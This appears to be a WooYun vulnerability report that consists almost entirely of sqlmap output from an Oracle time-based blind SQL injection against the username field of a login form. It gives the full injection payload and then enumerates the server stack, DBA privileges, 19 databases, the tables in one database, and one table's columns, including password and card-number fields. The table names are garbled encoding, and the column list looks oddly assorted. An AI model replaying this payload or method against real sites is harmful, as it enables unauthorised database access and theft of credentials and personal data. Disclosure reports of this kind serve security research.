WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: txtUsername (POST)
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: 
__VIEWSTATE=/wEPDwUKLTIxNTQ5Mzc5N2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCGJ0
bkxvZ2luOuRt537R02BUqhHXVkPpFql7P+4=&txtUsername=sKwn' AND 
2938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(78)||CHR(109)||CHR(86),60) AND 
'FOfy'='FOfy&btnLogin.x=1&btnLogin.y=1&txtPass=VZfZ
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Oracle
current user is DBA:    True
available databases [19]:
[*] "CTXSYS\X11"
[*] "EXP\X11"
[*] "TSMS]S"
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] EXP_SYNC
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] STO
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] WMSYS
[*] XDB
STO库中有11个表：
Database: STO
[11 tables]
+------------------------------------------------------------------+
| MLOG$_TAB_营掖\\?CD\\?F8\\?B5\\?E3\\?B1\\?ED                         |
| TAB_\\?B0\\?CD歉\\?C0\\?E0\\?D0\\?CD\\?B1\\?ED                    |
| TAB_\\?B8\\?B6\\?BF\\?EE\\?B7\\?BD式\\?B1\\?ED                     |
| TAB_\\?B9\\?AB司员\\?B9\\?A4\\?B1\\?ED                               |
| TAB_\\?BF\\?EC\\?BC\\?FE\\?C0\\?E0\\?D0\\?CD\\?B1\\?ED           |
| TAB_\\?C1\\?F4\\?B2\\?D6\\?BC\\?FE原\\?D2\\?F2\\?B1\\?ED           |
| TAB_\\?CE\\?CA\\?CC\\?E2\\?BC\\?FE\\?C0\\?E0\\?D0\\?CD           |
| TAB_\\?CE\\?EF品\\?C0\\?E0\\?B1\\?F0\\?B1\\?ED                     |
| TAB_\\?D6\\?D0转\\?B2\\?BF\\?B7\\?A2\\?BC\\?FE路\\?D3\\?C9\\?B1\\?ED |
| TAB_目\\?B5\\?C4\\?B5\\?D8\\?B1\\?ED                              |
| TAB_营掖\\?CD\\?F8\\?B5\\?E3\\?B1\\?ED                               |
+------------------------------------------------------------------+

Table: TAB_\\?CE\\?CA\\?CC\\?E2\\?BC\\?FE\\?C0\\?E0\\?D0\\?CD
[19 columns]
+--------------------------+-------------+
| Column                   | Type        |
+--------------------------+-------------+
| AUTHOR_NUM               | non-numeric |
| AVA_PROFESSOR            | non-numeric |
| C_DIARY_COMMENT_LOG_ID   | non-numeric |
| CANANYONEDISCOVERJID     | non-numeric |
| CARDNUMBER               | non-numeric |
| CT_ID                    | non-numeric |
| DELAY                    | non-numeric |
| HISTORY_ID               | non-numeric |
| ICONID                   | non-numeric |
| IDMEDICOFAMIGLIA         | non-numeric |
| IDSTELLE                 | non-numeric |
| NODE_ID                  | non-numeric |
| P_ASSWORD                | non-numeric |
| SECTION_VALUE            | non-numeric |
| SESSION_MEMBER_LOGIN_KEY | non-numeric |
| SKLEP2                   | non-numeric |
| TIDCLASFISCAIS           | non-numeric |
| TRIGGERTEMPLATEID        | non-numeric |
| VERSION_MIN              | non-numeric |
+--------------------------+-------------+